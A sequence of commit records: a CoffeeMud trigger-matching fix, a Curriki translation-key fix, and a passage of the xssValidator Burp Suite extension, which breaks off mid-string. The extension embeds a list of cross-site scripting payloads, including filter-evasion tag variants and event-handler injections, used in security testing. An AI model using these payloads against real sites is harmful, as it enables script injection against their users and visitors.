for(int m=0;m<R.numInhabitants();m++)
{
final MOB M=R.fetchInhabitant(m);
if((M!=null)&&(M!=msg.source()))
{
yup=true;
try
{
state.setIgnore(true);
CMLib.commands().postSay(M,null,CMStrings.capitalizeAndLower(DT.parm1));
}
finally
{
state.setIgnore(false);
}
}
}
}
break;
}
case WAIT:
{
final long waitExpires=state.time+CMath.s_long(DT.parm1)*CMProps.getTickMillis();
if(System.currentTimeMillis()>waitExpires)
{
yup=true;
state.setWait(-1);
}
else
{
if(CMSecurity.isDebugging(CMSecurity.DbgFlag.RITUALS))
Log.debugOut(msg.source().Name()+" still waiting ("+(state.completed+1)+"/"+triggers.length+") ");
state.setWait(waitExpires);
return null; // since we set the wait, there's no reason to look further
}
break;
}
case CHECK:
if(CMLib.masking().maskCheck(DT.parm1,msg.source(),true))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case PUTTHING:
if((msg.target() instanceof Container)
&&(msg.tool() instanceof Item)
&&(containsString(msg.tool().name(),DT.parm1))
&&(containsString(msg.target().name(),DT.parm2)))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case BURNTHING:
case READING:
case DRINK:
case EAT:
if((msg.target()!=null)
&&(DT.parm1.equals("0")||containsString(msg.target().name(),DT.parm1)))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case SOCIAL:
if((msg.tool() instanceof Social)
&&(msg.tool().Name().equalsIgnoreCase((DT.parm1+" "+DT.parm2).trim())))
{
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
yup=true;
}
break;
case INROOM:
if(msg.source().location()!=null)
{
if(DT.parm1.equalsIgnoreCase("holy")
||DT.parm1.equalsIgnoreCase("unholy")
||DT.parm1.equalsIgnoreCase("balance"))
{
yup=(state.holyName!=null)
&&(state.holyName.equalsIgnoreCase(CMLib.law().getClericInfused(msg.source().location())));
if(yup)
{
if(DT.addArgs)
state.args().add("here");
}
}
else
if(msg.source().location().roomID().equalsIgnoreCase(DT.parm1))
{
yup=true;
if(DT.addArgs)
state.args().add("here");
}
}
break;
case RIDING:
if((msg.source().riding()!=null)
&&(containsString(msg.source().riding().name(),DT.parm1)))
{
yup=true;
if(DT.addArgs)
state.args().add(targName(msg.source().riding()));
}
break;
case CAST:
if((msg.tool()!=null)
&&((msg.tool().ID().equalsIgnoreCase(DT.parm1))
||(containsString(msg.tool().name(),DT.parm1))))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case EMOTE:
if((msg.sourceMessage()!=null)&&(msg.sourceMessage().toUpperCase().indexOf(DT.parm1)>0))
{
yup=true;
if(DT.addArgs)
{
final int x=msg.sourceMessage().indexOf(">");
if(DT.addArgs)
{
state.args().add(CMStrings.removeColors(
(x>0)?msg.sourceMessage().substring(x+1):msg.sourceMessage()));
}
}
}
break;
case PUTVALUE:
if((msg.tool() instanceof Item)
&&(((Item)msg.tool()).baseGoldValue()>=CMath.s_int(DT.parm1))
&&(msg.target() instanceof Container)
&&(containsString(msg.target().name(),DT.parm2)))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case PUTMATERIAL:
if((msg.tool() instanceof Item)
&&(((((Item)msg.tool()).material()&RawMaterial.RESOURCE_MASK)==CMath.s_int(DT.parm1))
||((((Item)msg.tool()).material()&RawMaterial.MATERIAL_MASK)==CMath.s_int(DT.parm1)))
&&(msg.target() instanceof Container)
&&(containsString(msg.target().name(),DT.parm2)))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case BURNMATERIAL:
if((msg.target() instanceof Item)
&&(((((Item)msg.target()).material()&RawMaterial.RESOURCE_MASK)==CMath.s_int(DT.parm1))
||((((Item)msg.target()).material()&RawMaterial.MATERIAL_MASK)==CMath.s_int(DT.parm1))))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case BURNVALUE:
if((msg.target() instanceof Item)
&&(((Item)msg.target()).baseGoldValue()>=CMath.s_int(DT.parm1)))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case SITTING:
yup=CMLib.flags().isSitting(msg.source());
break;
case STANDING:
yup=(CMLib.flags().isStanding(msg.source()));
break;
case SLEEPING:
yup=CMLib.flags().isSleeping(msg.source());
break;
}
}
if(yup)
{
if(CMSecurity.isDebugging(CMSecurity.DbgFlag.RITUALS))
Log.debugOut(msg.source().Name()+" completed "+DT.triggerCode.name()+" ("+(state.completed+1)+"/"+triggers.length+") ");
state.setCompleted();
if(state.completed>=triggers.length-1)
{
final TrigTracker tracker = getTrigTracker(msg.source());
if(tracker != null)
tracker.compl.add(key);
clearState(msg.source(),key);
return state;
}
else
{
DT=triggers[state.completed+1];
yup=false;
// try this one now!
}
}
else
DT=DT.orConnect;
}
return null;
}
@Override
public boolean isCompleted(final Object key, final CMMsg msg)
{
return stepGetCompleted(key, msg) != null;
}
@Override
public Object[] whichCompleted(final Object[] keys, final CMMsg msg)
{
if(isIgnoring(msg.source()))
return trackingNothing;
List<Object> readyList=null;
for(final Object key : keys)
{
if(isCompleted(key, msg))
{
if(readyList == null)
readyList = new ArrayList<Object>(1);
readyList.add(key);
}
}
if(readyList != null)
return readyList.toArray();
return trackingNothing;
}
@Override
public Pair<Object,List<String>> getCompleted(final Object[] keys, final CMMsg msg)
{
if(isIgnoring(msg.source()))
return null;
for(final Object key : keys)
{
final TrigState state = stepGetCompleted(key, msg);
if(state != null)
return new Pair<Object,List<String>>(key, state.args());
}
return null;
}
@Override
public Object[] getInProgress(final MOB mob)
{
if(isIgnoring(mob))
return trackingNothing;
final TrigTracker tracker = getTrigTracker(mob);
if(tracker == null)
return trackingNothing;
if(tracker.states.size()==0)
return trackingNothing;
return new XVector<Object>(tracker.states.keySet()).toArray();
}
@Override
public boolean wasCompletedRecently(final MOB mob, final Object key)
{
if(isIgnoring(mob))
return false;
final TrigTracker tracker = getTrigTracker(mob);
if(tracker == null)
return false;
return tracker.compl.contains(key);
}
@Override
public MOB[] whosDoneWaiting()
{
if(waitingFor.size()>0)
{
synchronized(waitingFor)
{
if(waitingFor.size()==0)
return trackingNoone;
List<MOB> waitDoneList=null;
final long now=System.currentTimeMillis();
for (final Iterator<TrigState> s = waitingFor.iterator();s.hasNext();)
{
final TrigState S = s.next();
if(now > S.waitExpire)
{
if(waitDoneList == null)
waitDoneList=new ArrayList<MOB>(1);
final MOB M=S.charM.get();
if(M!=null)
waitDoneList.add(M);
s.remove();
S.waitExpire=-1;
}
}
if(waitDoneList != null)
return waitDoneList.toArray(new MOB[waitDoneList.size()]);
}
}
return trackingNoone;
}
@Override
public boolean hasTrigger(final Object key)
{
return rituals.containsKey(key);
}
@Override
public CMObject copyOf()
{
final DefaultTriggerer me;
try
{
me = (DefaultTriggerer) this.clone();
me.trackers = new Hashtable<String, TrigTracker>();
me.rituals = new SHashtable<Object, Trigger[]>();
me.rituals.putAll(rituals);
me.waitingFor = new SLinkedList<TrigState>();
me.ignoreOf = new LimitedTreeSet<String>();
}
catch (final CloneNotSupportedException e)
{
return newInstance();
}
return me;
}
@Override
public void initializeClass()
{
}
@Override
public int compareTo(final CMObject o)
{
return o==this?0:(o.hashCode()<hashCode()?1:-1);
}
}
| triggerfix
git-svn-id: 0cdf8356e41b2d8ccbb41bb76c82068fe80b2514@21690 0d6f1817-ed0e-0410-87c9-987e46238f29
| com/planet_ink/coffee_mud/Common/DefaultTriggerer.java | triggerfix | <ide><path>om/planet_ink/coffee_mud/Common/DefaultTriggerer.java
<ide> DT.parm2=V.get(2);
<ide> else
<ide> DT.parm2="";
<del> final Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
<add> Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
<ide> if(soc == null)
<ide> {
<del> Log.errOut(name(),"Illegal social in: "+trig);
<del> DT=null;
<del> break;
<add> if(DT.parm2.length()>0)
<add> soc = CMLib.socials().fetchSocial((DT.parm1+" <T-NAME> "+DT.parm2).toUpperCase().trim(),true);
<add> if(soc == null)
<add> {
<add> Log.errOut(name(),"Illegal social in: "+trig);
<add> DT=null;
<add> break;
<add> }
<ide> }
<ide> break;
<ide> }
<ide> buf.append(L("the player should read '@x1'",DT.parm1.toLowerCase()));
<ide> break;
<ide> case SOCIAL:
<del> buf.append(L("the player should @x1",DT.parm1.toLowerCase()));
<add> buf.append(L("the player should @x1",(DT.parm1.toLowerCase()+" "+DT.parm2).trim()));
<ide> break;
<ide> case TIME:
<ide> buf.append(L("the hour of the day is @x1",DT.parm1.toLowerCase()));
<ide> }
<ide> case SOCIAL:
<ide> {
<del> final Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
<add> Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
<add> if((soc == null)&&(DT.parm2!=null)&&(DT.parm2.length()>0))
<add> soc = CMLib.socials().fetchSocial((DT.parm1+" <T-NAME> "+DT.parm2).toUpperCase().trim(),true);
<ide> if(soc != null)
<ide> {
<ide> final MOB target=mob.getVictim();
<ide> break;
<ide> case SOCIAL:
<ide> if((msg.tool() instanceof Social)
<del> &&(msg.tool().Name().equalsIgnoreCase((DT.parm1+" "+DT.parm2).trim())))
<add> &&(msg.tool().Name().equalsIgnoreCase((DT.parm1+" "+DT.parm2).trim())
<add> ||((DT.parm2!=null)&&(DT.parm2.length()>0)&&(msg.tool().Name().equalsIgnoreCase((DT.parm1+" <T-NAME> "+DT.parm2).trim())))))
<ide> {
<ide> if(DT.addArgs && (msg.target()!=null))
<ide> state.args().add(targName(msg.target())); |
|
Java | lgpl-2.1 | b2d73bdf0effc564bc275f853511441671ee281f | 0 | i2geo/i2gCurrikiFork,i2geo/i2gCurrikiFork,i2geo/i2gCurrikiFork,i2geo/i2gCurrikiFork,xwiki-contrib/currikiorg,xwiki-contrib/currikiorg,xwiki-contrib/currikiorg,xwiki-contrib/currikiorg,i2geo/i2gCurrikiFork,xwiki-contrib/currikiorg,i2geo/i2gCurrikiFork,i2geo/i2gCurrikiFork,xwiki-contrib/currikiorg | /*
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*
* @author dward
*
*/
package org.curriki.gwt.client.wizard;
import com.google.gwt.user.client.Command;
import com.google.gwt.user.client.Window;
import com.google.gwt.user.client.ui.ClickListener;
import com.google.gwt.user.client.ui.Widget;
import org.curriki.gwt.client.Constants;
import org.curriki.gwt.client.CurrikiAsyncCallback;
import org.curriki.gwt.client.CurrikiService;
import org.curriki.gwt.client.Main;
import org.curriki.gwt.client.search.editor.ResourceAdder;
import org.curriki.gwt.client.utils.CompletionCallback;
import org.curriki.gwt.client.widgets.siteadd.ChooseCollectionDialog;
import org.curriki.gwt.client.widgets.siteadd.ThankYouDialog;
public class AddExistingResourceWizard implements CompletionCallback, ResourceAdder {
private static ChooseCollectionDialog collections;
private static ThankYouDialog thankYouDialog;
private String resource;
private String collectionName;
private Command callbackCommand;
public AddExistingResourceWizard(){
this.collectionName = null;
}
public AddExistingResourceWizard(String collectionName)
{
this.collectionName = collectionName;
}
public void addExistingResource(String resourceName){
// 1. Choose a collection to add it to (if more than just the default)
// 2. Add the resource to the collection
// 3. "Thank You" dialog
this.resource = resourceName;
if (collectionName != null){
CurrikiService.App.getInstance().addCompositeAssetToCollection(resource, collectionName, new addedAssetToCollection());
} else {
ClickListener next = new ClickListener(){
public void onClick(Widget sender){
if (collections == null || collections.getSelectedItem() == null || collections.getSelectedItem().getPageName() == null || collections.getSelectedItem().getPageName().equals("__NOSELECT__")){
Window.alert(Main.getTranslation("addexistingasset.selectcollection"));
} else{
CurrikiService.App.getInstance().addCompositeAssetToCollection(resource, collections.getSelectedItem().getPageName(), new addedAssetToCollection());
}
}
};
ClickListener cancel = new ClickListener(){
public void onClick(Widget sender){
if (collections.isAttached()){
collections.hide();
}
}
};
collections = new ChooseCollectionDialog(next, cancel);
}
}
public void setCompletionCallback(Command cmd)
{
callbackCommand = cmd;
}
public class addedAssetToCollection extends CurrikiAsyncCallback {
public void onFailure(Throwable throwable) {
super.onFailure(throwable);
Window.alert(Main.getSingleton().getTranslator().getTranslation("addexistingasset.couldnotaddtocollection", new String[] {resource, throwable.getMessage()}));
if (collections != null && collections.isAttached()){
collections.hide();
}
collections = null;
}
public void onSuccess(Object object) {
super.onSuccess(object);
if (!((Boolean) object).booleanValue()){
Window.alert(Main.getSingleton().getTranslator().getTranslation("addexistingasset.failedtoaddtocollection", new String[] {resource}));
}
if (collections != null && collections.isAttached()){
collections.hide();
}
collections = null;
if (((Boolean) object).booleanValue()){
ClickListener cancel = new ClickListener(){
public void onClick(Widget sender){
thankYouDialog.hide();
thankYouDialog = null;
if (callbackCommand != null){
callbackCommand.execute();
}
}
};
thankYouDialog = new ThankYouDialog(Constants.DIALOG_THANKYOU_ADD_COLLECTION, cancel);
}
}
}
}
| gwt/src/main/java/org/curriki/gwt/client/wizard/AddExistingResourceWizard.java | /*
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*
* @author dward
*
*/
package org.curriki.gwt.client.wizard;
import com.google.gwt.user.client.Command;
import com.google.gwt.user.client.Window;
import com.google.gwt.user.client.ui.ClickListener;
import com.google.gwt.user.client.ui.Widget;
import org.curriki.gwt.client.Constants;
import org.curriki.gwt.client.CurrikiAsyncCallback;
import org.curriki.gwt.client.CurrikiService;
import org.curriki.gwt.client.Main;
import org.curriki.gwt.client.search.editor.ResourceAdder;
import org.curriki.gwt.client.utils.CompletionCallback;
import org.curriki.gwt.client.widgets.siteadd.ChooseCollectionDialog;
import org.curriki.gwt.client.widgets.siteadd.ThankYouDialog;
public class AddExistingResourceWizard implements CompletionCallback, ResourceAdder {
private static ChooseCollectionDialog collections;
private static ThankYouDialog thankYouDialog;
private String resource;
private String collectionName;
private Command callbackCommand;
public AddExistingResourceWizard(){
this.collectionName = null;
}
public AddExistingResourceWizard(String collectionName)
{
this.collectionName = collectionName;
}
public void addExistingResource(String resourceName){
// 1. Choose a collection to add it to (if more than just the default)
// 2. Add the resource to the collection
// 3. "Thank You" dialog
this.resource = resourceName;
if (collectionName != null){
CurrikiService.App.getInstance().addCompositeAssetToCollection(resource, collectionName, new addedAssetToCollection());
} else {
ClickListener next = new ClickListener(){
public void onClick(Widget sender){
if (collections == null || collections.getSelectedItem() == null || collections.getSelectedItem().getPageName() == null || collections.getSelectedItem().getPageName().equals("__NOSELECT__")){
Window.alert(Main.getTranslation("addexistingasset.selectcollection"));
} else{
CurrikiService.App.getInstance().addCompositeAssetToCollection(resource, collections.getSelectedItem().getPageName(), new addedAssetToCollection());
}
}
};
ClickListener cancel = new ClickListener(){
public void onClick(Widget sender){
if (collections.isAttached()){
collections.hide();
}
}
};
collections = new ChooseCollectionDialog(next, cancel);
}
}
public void setCompletionCallback(Command cmd)
{
callbackCommand = cmd;
}
public class addedAssetToCollection extends CurrikiAsyncCallback {
public void onFailure(Throwable throwable) {
super.onFailure(throwable);
Window.alert(Main.getSingleton().getTranslator().getTranslation("addexistingasset.couldnotaddtocollection=", new String[] {resource, throwable.getMessage()}));
if (collections != null && collections.isAttached()){
collections.hide();
}
collections = null;
}
public void onSuccess(Object object) {
super.onSuccess(object);
if (!((Boolean) object).booleanValue()){
Window.alert(Main.getSingleton().getTranslator().getTranslation("addexistingasset.failedtoaddtocollection", new String[] {resource}));
}
if (collections != null && collections.isAttached()){
collections.hide();
}
collections = null;
if (((Boolean) object).booleanValue()){
ClickListener cancel = new ClickListener(){
public void onClick(Widget sender){
thankYouDialog.hide();
thankYouDialog = null;
if (callbackCommand != null){
callbackCommand.execute();
}
}
};
thankYouDialog = new ThankYouDialog(Constants.DIALOG_THANKYOU_ADD_COLLECTION, cancel);
}
}
}
}
| - CURRIKI-1315
- Remove extra = on translation key
svn@6632
| gwt/src/main/java/org/curriki/gwt/client/wizard/AddExistingResourceWizard.java | - CURRIKI-1315 - Remove extra = on translation key | <ide><path>wt/src/main/java/org/curriki/gwt/client/wizard/AddExistingResourceWizard.java
<ide> public class addedAssetToCollection extends CurrikiAsyncCallback {
<ide> public void onFailure(Throwable throwable) {
<ide> super.onFailure(throwable);
<del> Window.alert(Main.getSingleton().getTranslator().getTranslation("addexistingasset.couldnotaddtocollection=", new String[] {resource, throwable.getMessage()}));
<add> Window.alert(Main.getSingleton().getTranslator().getTranslation("addexistingasset.couldnotaddtocollection", new String[] {resource, throwable.getMessage()}));
<ide> if (collections != null && collections.isAttached()){
<ide> collections.hide();
<ide> } |
|
Java | mit | f557b3fc7637fa7dcdc5e4e013c5b97ef23e2fe3 | 0 | nVisium/xssValidator,navneetkumar/xssValidator,navneetkumar/xssValidator,nVisium/xssValidator,nVisium/xssValidator,navneetkumar/xssValidator,navneetkumar/xssValidator,navneetkumar/xssValidator | package burp;
import java.awt.BorderLayout;
import java.awt.GridLayout;
import java.awt.Font;
import java.awt.Component;
import java.awt.Dimension;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import javax.swing.JButton;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTabbedPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.ScrollPaneConstants;
import javax.swing.SwingUtilities;
import org.apache.commons.codec.binary.Base64;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import burp.ITab;
public class BurpExtender implements IBurpExtender, ITab, IHttpListener,
IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor {
private static final String VERSION = "2.1.0";
class IntruderPayloadGenerator implements IIntruderPayloadGenerator {
int payloadIndex;
String[] functions = {"alert", "console.log", "confirm",
"prompt"};
String[] eventHandler = null;
int functionIndex = 0;
int eventHandlerIndex = 0;
BurpExtender extenderInstance = null;
String[] PAYLOADS = null;
IntruderPayloadGenerator(BurpExtender extenderInstance) {
this.extenderInstance = extenderInstance;
this.functions = extenderInstance.functionsTextfield.getText()
.split(",");
this.eventHandler = extenderInstance.eventHandlerTextfield
.getText().split(",");
this.PAYLOADS = extenderInstance.attackStringsTextarea.getText()
.split("\r\n");
}
public byte[] getNextPayload(byte[] baseValue) {
if ((this.eventHandler.length > 0)
&& (this.eventHandlerIndex >= this.eventHandler.length)) {
this.eventHandlerIndex = 0;
this.functionIndex += 1;
}
if (this.functionIndex >= this.functions.length) {
this.functionIndex = 0;
this.eventHandlerIndex = 0;
this.payloadIndex += 1;
}
String payload = this.PAYLOADS[this.payloadIndex];
boolean eventhandlerIsUsed = payload
.contains(BurpExtender.EVENTHANDLER_PLACEHOLDER);
// String nextPayload = new String(payload);
if (eventhandlerIsUsed) {
payload = payload.replace(
BurpExtender.EVENTHANDLER_PLACEHOLDER,
this.eventHandler[this.eventHandlerIndex]);
}
payload = payload.replace(BurpExtender.JAVASCRIPT_PLACEHOLDER,
this.functions[this.functionIndex] + "("
+ BurpExtender.triggerPhrase + ")");
BurpExtender.this.stdout.println("Payload conversion: " + payload);
if (!eventhandlerIsUsed) {
this.functionIndex += 1;
}
else {
this.eventHandlerIndex += 1;
}
return payload.getBytes();
}
public boolean hasMorePayloads() {
return this.payloadIndex < BurpExtender.PAYLOADS.length;
}
public void reset() {
this.payloadIndex = 0;
}
}
public IBurpExtenderCallbacks mCallbacks;
private IExtensionHelpers helpers;
private PrintWriter stdout;
private PrintWriter stderr;
private HttpClient client;
private static String phantomServer = "http://127.0.0.1:8093";
private static String slimerServer = "http://127.0.0.1:8094";
private static String triggerPhrase = "299792458";
private static String grepPhrase = "fy7sdufsuidfhuisdf";
public JLabel htmlDescription;
public JPanel mainPanel;
public JPanel leftPanel;
public JPanel serverConfig;
public JPanel notice;
public JPanel rightPanel;
public JTextField phantomURL;
public JTextField slimerURL;
public JTextField grepVal;
public JTabbedPane tabbedPane;
public JButton btnAddText;
public JButton btnSaveTabAsTemplate;
public JButton btnRemoveTab;
public JTextField functionsTextfield;
public JTextArea attackStringsTextarea;
public JTextField eventHandlerTextfield;
public JScrollPane scrollingArea;
public static final String JAVASCRIPT_PLACEHOLDER = "{JAVASCRIPT}";
public static final String EVENTHANDLER_PLACEHOLDER = "{EVENTHANDLER}";
public static final byte[][] PAYLOADS = {
("<script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("<scr ipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr ipt>").getBytes(),
("\"><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("\"><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script><\"").getBytes(),
("'><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("'><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script><'").getBytes(),
("<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</SCRIPT>").getBytes(),
("<scri<script>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</scr</script>ipt>").getBytes(),
("<SCRI<script>PT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</SCR</script>IPT>").getBytes(),
("<scri<scr<script>ipt>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</scr</sc</script>ript>ipt>").getBytes(),
("\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";\"").getBytes(),
("';" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";'").getBytes(),
(";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";").getBytes(),
("<SCR%00IPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCR%00IPT>").getBytes(),
("\\\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";//").getBytes(),
("<STYLE TYPE=\"text/javascript\">"
+ BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</STYLE>").getBytes(),
("<scr%0aipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr%0aipt>").getBytes(),
("<scr%0aipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr%0aipt>").getBytes(),
("<<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "//<</SCRIPT>").getBytes(),
("\"" + BurpExtender.EVENTHANDLER_PLACEHOLDER + "="
+ BurpExtender.JAVASCRIPT_PLACEHOLDER + " ").getBytes(),
("<scr\nipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr\nipt>").getBytes(),
("<<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "//<</SCRIPT>").getBytes(),
("<img src=\"1\" onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\">").getBytes(),
("<img src='1' onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"").getBytes(),
("onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("onload=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"").getBytes(),
("onload='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("<IMG \"\"\"><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCRIPT>\">").getBytes(),
("<IMG '''><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCRIPT>'>").getBytes(),
("\"\"\"><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "").getBytes(),
("'''><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("<IFRAME SRC='f' onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"></IFRAME>").getBytes(),
("<IFRAME SRC='f' onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'></IFRAME>").getBytes()
};
public IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack) {
return new IntruderPayloadGenerator(this);
}
public String getGeneratorName() {
return "XSS Validator Payloads";
}
public String getProcessorName() {
return "XSS Validator";
}
public String getTabCaption() {
return "xssValidator";
}
public Component getUiComponent() {
return this.mainPanel;
}
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
if ((toolFlag != 32) || (!messageIsRequest)) {
if ((toolFlag == 32) && (!messageIsRequest)) {
HttpPost PhantomJs = new HttpPost(this.phantomURL.getText());
HttpPost SlimerJS = new HttpPost(this.slimerURL.getText());
try {
byte[] encodedBytes = Base64.encodeBase64(messageInfo
.getResponse());
String encodedResponse = this.helpers
.bytesToString(encodedBytes);
List nameValuePairs = new ArrayList(1);
nameValuePairs.add(new BasicNameValuePair("http-response",
encodedResponse));
PhantomJs
.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = this.client.execute(PhantomJs);
String responseAsString = EntityUtils.toString(response
.getEntity());
this.stdout.println("Response: " + responseAsString);
if (responseAsString.toLowerCase().contains(
BurpExtender.triggerPhrase.toLowerCase())) {
String newResponse = this.helpers
.bytesToString(messageInfo.getResponse())
+ this.grepVal.getText();
messageInfo.setResponse(this.helpers
.stringToBytes(newResponse));
this.stdout.println("XSS Found");
}
}catch (Exception e) {
this.stderr.println(e.getMessage());
}
try {
byte[] encodedBytes = Base64.encodeBase64(messageInfo
.getResponse());
String encodedResponse = this.helpers
.bytesToString(encodedBytes);
List nameValuePairs = new ArrayList(1);
nameValuePairs.add(new BasicNameValuePair("http-response",
encodedResponse));
SlimerJS.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = this.client.execute(SlimerJS);
String responseAsString = EntityUtils.toString(response
.getEntity());
this.stdout.println("Response: " + responseAsString);
if (responseAsString.toLowerCase().contains(
BurpExtender.triggerPhrase.toLowerCase())) {
String newResponse = this.helpers
.bytesToString(messageInfo.getResponse())
+ this.grepVal.getText();
messageInfo.setResponse(this.helpers
.stringToBytes(newResponse));
this.stdout.println("XSS Found");
}
}catch (Exception e) {
this.stderr.println(e.getMessage());
}
}
}
}
public byte[] processPayload(byte[] currentPayload, byte[] originalPayload,
byte[] baseValue) {
return this.helpers.stringToBytes(this.helpers.urlEncode(this.helpers
.bytesToString(currentPayload)));
}
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.mCallbacks = callbacks;
this.client = HttpClientBuilder.create().build();
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("XSS Validator Payloads");
this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.stderr = new PrintWriter(callbacks.getStderr(), true);
callbacks.registerIntruderPayloadGeneratorFactory(this);
callbacks.registerIntruderPayloadProcessor(this);
callbacks.registerHttpListener(this);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
BurpExtender.this.functionsTextfield = new JTextField(30);
BurpExtender.this.functionsTextfield
.setText("alert,console.log,confirm,prompt");
BurpExtender.this.eventHandlerTextfield = new JTextField(30);
BurpExtender.this.eventHandlerTextfield
.setText("onmousemove,onmouseout,onmouseover");
BurpExtender.this.mainPanel = new JPanel(new GridLayout(1, 2));
BurpExtender.this.leftPanel = new JPanel(new GridLayout(2, 1));
BurpExtender.this.rightPanel = new JPanel();
/*
* Notice Stuff
*/
BurpExtender.this.notice = new JPanel();
JLabel titleLabel = new JLabel("<html><center><h2>xssValidator</h2>Created By: <em>John Poulin</em> (@forced-request)<br />\n" +
"Version: " + BurpExtender.this.VERSION + "</center><br />");
String initialText = "<html>\n" +
"<em>xssValidator is an intruder extender with a customizable list of payloads, \n" +
"that couples<br />with the Phantom.js and Slimer.js scriptable browsers to provide validation<br />\n" +
"of cross-site scripting vulnerabilities.</em><br /><br />\n" +
"<b>Getting started:</b>\n" +
"<ul>\n" +
" <li>Download latest version of xss-detectors from the git repository</li>\n" +
" <li>Start the phantom server: phantomjs xss.js</li>\n" +
" <li>Create a new intruder tab, select <em>Extension-generated</em> \n" +
" payload.</li>" +
" <li>Under the intruder options tab, add the <em>Grep Phrase</em> to \n" +
" the <em>Grep-Match</em> panel</li>" +
